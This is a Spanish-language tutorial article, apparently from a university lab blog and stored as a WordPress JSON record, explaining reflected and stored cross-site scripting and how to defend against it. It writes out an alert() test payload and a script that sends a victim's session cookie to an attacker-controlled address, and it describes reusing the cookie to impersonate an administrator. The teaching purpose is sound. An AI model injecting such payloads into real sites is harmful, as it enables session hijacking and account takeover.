{"id":31186,"date":"2024-06-26T14:44:55","date_gmt":"2024-06-26T12:44:55","guid":{"rendered":"https:\/\/inlab.fib.upc.edu\/?p=31186"},"modified":"2024-06-26T14:44:59","modified_gmt":"2024-06-26T12:44:59","slug":"que-es-el-xss-y-como-nos-podemos-proteger-de-el","status":"publish","type":"post","link":"https:\/\/inlab.fib.upc.edu\/es\/articulos\/que-es-el-xss-y-como-nos-podemos-proteger-de-el","title":{"rendered":"Qu\u00e9 es el XSS y como nos podemos proteger de \u00e9l"},"content":{"rendered":"\n

La seguridad inform\u00e1tica es un factor cr\u00edtico para las empresas en la era digital actual. Las vulnerabilidades en las aplicaciones web pueden exponer datos sensibles, como por ejemplo informaci\u00f3n personal de los clientes, credenciales de acceso e informaci\u00f3n financiera, y poner en riesgo la reputaci\u00f3n y el negocio de nuestra empresa. Una de las vulnerabilidades m\u00e1s comunes en las aplicaciones web es el Cross-Site Scripting <\/em> (XSS). En este art\u00edculo, explicaremos qu\u00e9 es el XSS, qu\u00e9 tipos hay, qu\u00e9 alcance puede tener esta vulnerabilidad y como nos podemos proteger.<\/p>\n\n

El XSS es una vulnerabilidad de seguridad web que se produce cuando un atacante inyecta c\u00f3digo malicioso en una p\u00e1gina web, generalmente a trav\u00e9s de un formulario o una entrada de usuario, que despu\u00e9s se ejecuta en el navegador de otro usuario que visita la p\u00e1gina infectada. Esto puede permitir al atacante robar cookies<\/em>, sesiones y datos de autenticaci\u00f3n, realizar acciones en nombre del usuario, modificar el contenido de la p\u00e1gina web o redirigir al usuario a otro sitio web malicioso.<\/p>\n\n

Hay dos tipos principales de XSS: el XSS persistente (Stored <\/em> XSS) y el XSS no persistente (Reflected <\/em> XSS).<\/p>\n\n

En primer lugar, el XSS persistente se produce cuando el c\u00f3digo malicioso se almacena en la base de datos de la aplicaci\u00f3n web y se muestra a todos los usuarios que visitan la p\u00e1gina infectada. En segundo lugar, el XSS no persistente se produce cuando el c\u00f3digo malicioso se env\u00eda en una solicitud HTTP y solo afecta al usuario que la recibe. <\/p>\n\n

A continuaci\u00f3n, se muestra una simulaci\u00f3n de ataque a este tipo de vulnerabilidad.<\/p>\n\n

Veremos la vulnerabilidad XSS no persistente o reflejada. C\u00f3mo se ha explicado antes, esta vulnerabilidad ejecuta el c\u00f3digo malicioso que se env\u00eda en una solicitud HTTP. En este ejemplo se puede ver como hay un par\u00e1metro en la URL que se ve reflejado en la p\u00e1gina web, es decir, su valor aparece en el contenido de la web sin ninguna modificaci\u00f3n:<\/p>\n\n

<\/div>\n\n
\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n<\/figure>\n\n
<\/div>\n\n

Una vez identificado el posible XSS, en este campo se podr\u00eda inyectar c\u00f3digo JavaScript malicioso para que se ejecute dentro del navegador del cliente. Para verificar si existe esta vulnerabilidad, los atacantes acostumbran a ejecutar el siguiente c\u00f3digo:<\/p>\n\n

<script>alert(\u201cXSS\u201d)<\/script><\/mark><\/code><\/pre>\n\n
Este c\u00f3digo genera una ventana de alerta con el mensaje \u201cXSS\u201d:<\/p>\n\n
<\/div>\n\n
\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n<\/figure>\n\n
<\/div>\n\n
En el siguiente ejemplo, se muestra una demostraci\u00f3n sobre el XSS persistente. Esta vulnerabilidad almacena el c\u00f3digo en la base de datos de la aplicaci\u00f3n, de forma que todo el mundo que visite la p\u00e1gina infectada ejecutar\u00e1 el c\u00f3digo malicioso:<\/p>\n\n
Imaginad la siguiente situaci\u00f3n: una p\u00e1gina web que es un foro de discusi\u00f3n. Suponemos que los comentarios de este foro son vulnerables al XSS, de forma que, cuando un atacante inyecta c\u00f3digo malicioso en uno de los comentarios, este c\u00f3digo se ejecuta en el navegador de todas las personas que visitan el post y ven los comentarios.<\/p>\n\n
De manera gr\u00e1fica, suponemos que este es el campo donde se env\u00edan los comentarios:<\/p>\n\n
<\/div>\n\n
\"\"<\/figure>\n\n
<\/div>\n\n
Entonces, cuando se env\u00eda el comentario, queda registrado dentro de la p\u00e1gina web:<\/p>\n\n
<\/div>\n\n
\"\"<\/figure>\n\n
<\/div>\n\n
A partir de este momento, cualquier persona que visite el post ver\u00e1 el comentario que he publicado. Si este comentario se manipula, a\u00f1adiendo un c\u00f3digo malicioso, como el que he puesto antes, podemos infectar a toda la gente que visite el post y vea los comentarios.<\/p>\n\n
<\/div>\n\n
\"\"<\/figure>\n\n
<\/div>\n\n
Hay que aclarar que el XSS no persistente, tambi\u00e9n conocido como XSS reflejado, es considerado menos peligroso que el XSS persistente, puesto que afecta a un solo cliente en cada solicitud maliciosa. En cambio, el XSS persistente es m\u00e1s peligroso, puesto que el c\u00f3digo malicioso se almacena en la base de datos de la aplicaci\u00f3n web y puede afectar a m\u00faltiples clientes que visitan la p\u00e1gina afectada. <\/p>\n\n
Aun as\u00ed, el XSS no persistente puede ser igual de peligroso si el atacante es capaz de enga\u00f1ar a un gran n\u00famero de usuarios para que hagan clic en un enlace malicioso, por ejemplo, mediante una campa\u00f1a de Phishing<\/em>.<\/p>\n\n
<\/div>\n\n
Qu\u00e9 se puede llegar a hacer con esta vulnerabilidad?<\/h2>\n\n
El XSS puede ser utilizado para realizar una variedad de ataques maliciosos contra las aplicaciones web y sus usuarios. Uno de los ataques m\u00e1s comunes es robar cookies <\/em> de sesi\u00f3n, permitiendo al atacante tomar el control de la sesi\u00f3n del usuario y realizar acciones en su nombre. Esto puede incluir el acceso a datos confidenciales, la realizaci\u00f3n de transacciones fraudulentas o la modificaci\u00f3n de la configuraci\u00f3n de la cuenta del usuario.<\/p>\n\n
Anteriormente, hemos utilizado el siguiente script para detectar si la p\u00e1gina web es vulnerable o no (<script>alert(\u201cXSS\u201d)<\/script><\/mark><\/code>). Ahora, cambiaremos este script para poder robar la cookie <\/em> de sesi\u00f3n (<script>document.location=\u201dhttp:\/\/127.0.0.1\/cookie?<\/em>\u201d+document.cookie<\/script><\/mark><\/code>).<\/p>\n\n
Este script hace dos cosas:<\/p>\n\n
    \n
  1. Redirige al usuario a una p\u00e1gina web remota (http:\/\/127.0.0.1\/cookie<\/em>) utilizando la propiedad \u201clocation\u201d del objeto \u201cdocument\u201d<\/li>\n\n\n\n
  2. A\u00f1ade la cookie <\/em> de sesi\u00f3n del usuario a la URL de la p\u00e1gina web remota utilizando la propiedad \u201ccookie\u201d del objeto \u201cdocument\u201d.<\/li>\n<\/ol>\n\n
    Cuando el usuario ejecuta este script, su navegador enviar\u00e1 una petici\u00f3n a la p\u00e1gina web remota (http:\/\/127.0.0.1\/cookie<\/em>) pas\u00e1ndole la cookie <\/em> de sesi\u00f3n del usuario como par\u00e1metro. El atacante, que controla la p\u00e1gina web remota, podr\u00e1 entonces capturar la cookie <\/em> de sesi\u00f3n y utilizarla para tomar el control de la sesi\u00f3n del usuario.<\/p>\n\n
    A continuaci\u00f3n, veremos un ejemplo gr\u00e1fico del robo de cookies <\/em> de sesi\u00f3n utilizando el mismo entorno que hemos usado antes:<\/p>\n\n
    Primeramente, inyectamos el c\u00f3digo que hemos preparado:<\/p>\n\n
    <\/div>\n\n
    \"\"<\/figure>\n\n
    <\/div>\n\n
    A continuaci\u00f3n, abrimos una p\u00e1gina web desde el lado del atacante para obtener la cookie <\/em> de sesi\u00f3n:<\/p>\n\n
    <\/div>\n\n
    \"\"<\/figure>\n\n
    <\/div>\n\n
    Finalmente, accedemos a la p\u00e1gina web infectada, que ejecutar\u00e1 autom\u00e1ticamente el c\u00f3digo JavaScript malicioso y nos enviar\u00e1 la cookie <\/em> al servidor que acabamos de montar:<\/p>\n\n
    <\/div>\n\n
    \"\"<\/figure>\n\n
    <\/div>\n\n
    Ahora, podr\u00edamos utilizar la cookie <\/em> que hemos recibido para suplantar al usuario y en el supuesto de que este fuera administrador, podr\u00edamos ver paneles de administraci\u00f3n privilegiados para intentar entrar a la m\u00e1quina con alguna ejecuci\u00f3n de comandos.<\/p>\n\n
    Este ataque en concreto solo es posible si el servidor no tiene una buena configuraci\u00f3n de cookies<\/em>. En concreto, hay dos campos que est\u00e1n mal configurados en este entorno de pruebas:<\/p>\n\n
      \n
    1. HTTPOnly<\/em>: Este campo indica que la cookie <\/em> solo tiene que ser accesible v\u00eda HTTP, y no desde el c\u00f3digo JavaScript que se ejecuta en el cliente. Este es el campo que permite enviar la cookie <\/em> y suplantar al usuario (sin este campo mal configurado no podr\u00edamos haber llevado a cabo este ataque)<\/li>\n\n\n\n
    2. Secure<\/em>: Este campo indica que la cookie <\/em> solo tiene que ser enviada v\u00eda conexiones seguras (HTTPS), y no v\u00eda conexiones no seguras (HTTP). Si este campo no est\u00e1 presente, un atacante puede interceptar la cookie <\/em> utilizando una red no segura y suplantar al usuario.<\/li>\n<\/ol>\n\n
      <\/div>\n\n
      \"\"<\/figure>\n\n
      <\/div>\n\n
      <\/div>\n\n
      C\u00f3mo podemos protegernos?<\/h2>\n\n
      Una vez hemos entendido qu\u00e9 es el XSS, como se origina y qu\u00e9 potenciales ataques se pueden perpetrar, ahora hablaremos de c\u00f3mo podemos protegernos y que podemos hacer al respeto.<\/p>\n\n
      En primer lugar, y m\u00e1s importante, tenemos que validar todos los inputs del usuario antes de hacer cualquier manipulaci\u00f3n o inserci\u00f3n en la base de datos de la aplicaci\u00f3n. Esto significa que tenemos que comprobar que los datos que reciben nuestras aplicaciones web son v\u00e1lidos y seguros antes de procesarlos o mostrarlos a los usuarios. Por ejemplo, se pueden utilizar expresiones regulares para comprobar que los inputs del usuario no contienen c\u00f3digo malicioso o caracteres especiales no v\u00e1lidos.<\/p>\n\n
      Adem\u00e1s, podemos utilizar librer\u00edas de seguridad que ofrecen esta protecci\u00f3n contra los XSS. Estas librer\u00edas pueden ayudar a validar <\/a> y sanear autom\u00e1ticamente los inputs de usuario, reduciendo el riesgo de vulnerabilidades de seguridad.<\/p>\n\n
      Tambi\u00e9n es importante implementar medidas de seguridad, como por ejemplo la autenticaci\u00f3n y la autorizaci\u00f3n de usuarios y la limitaci\u00f3n de privilegios. Esto puede ayudar a reducir el riesgo de vulnerabilidades de seguridad y proteger nuestras aplicaciones web contra ataques XSS y otros.<\/p>\n\n
      Adicionalmente, es recomendable mantener todas nuestras aplicaciones actualizadas y corregir cualquier vulnerabilidad de seguridad conocida de manera r\u00e1pida y eficiente. Esto tambi\u00e9n ayuda a reducir el riesgo de vulnerabilidades derivadas de software que no depende de nosotros.<\/p>\n\n
      Finalmente, es importante mantener una buena configuraci\u00f3n de la aplicaci\u00f3n para evitar que se puedan enviar de ninguna manera estas cookies <\/em> (HTTPOnly <\/em> a True <\/em> y Secure <\/em> a True<\/em>), reduciendo as\u00ed al m\u00e1ximo el potencial ataque que se podr\u00eda llevar a cabo.<\/p>\n","protected":false},"excerpt":{"rendered":"
      La seguridad inform\u00e1tica es un factor cr\u00edtico para las empresas en la era digital actual. Las vulnerabilidades en las aplicaciones web pueden exponer datos sensibles, como por ejemplo informaci\u00f3n personal de los clientes, credenciales de acceso e informaci\u00f3n financiera, y poner en riesgo la reputaci\u00f3n y el negocio de nuestra empresa. Una de las vulnerabilidades […]<\/p>\n","protected":false},"author":1242,"featured_media":31126,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[496],"tags":[],"experteses":[],"class_list":["post-31186","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-articulos"],"acf":[],"_links":{"self":[{"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/posts\/31186","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/users\/1242"}],"replies":[{"embeddable":true,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/comments?post=31186"}],"version-history":[{"count":2,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/posts\/31186\/revisions"}],"predecessor-version":[{"id":31191,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/posts\/31186\/revisions\/31191"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/media\/31126"}],"wp:attachment":[{"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/media?parent=31186"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/categories?post=31186"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/tags?post=31186"},{"taxonomy":"experteses","embeddable":true,"href":"https:\/\/inlab.fib.upc.edu\/es\/wp-json\/wp\/v2\/experteses?post=31186"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}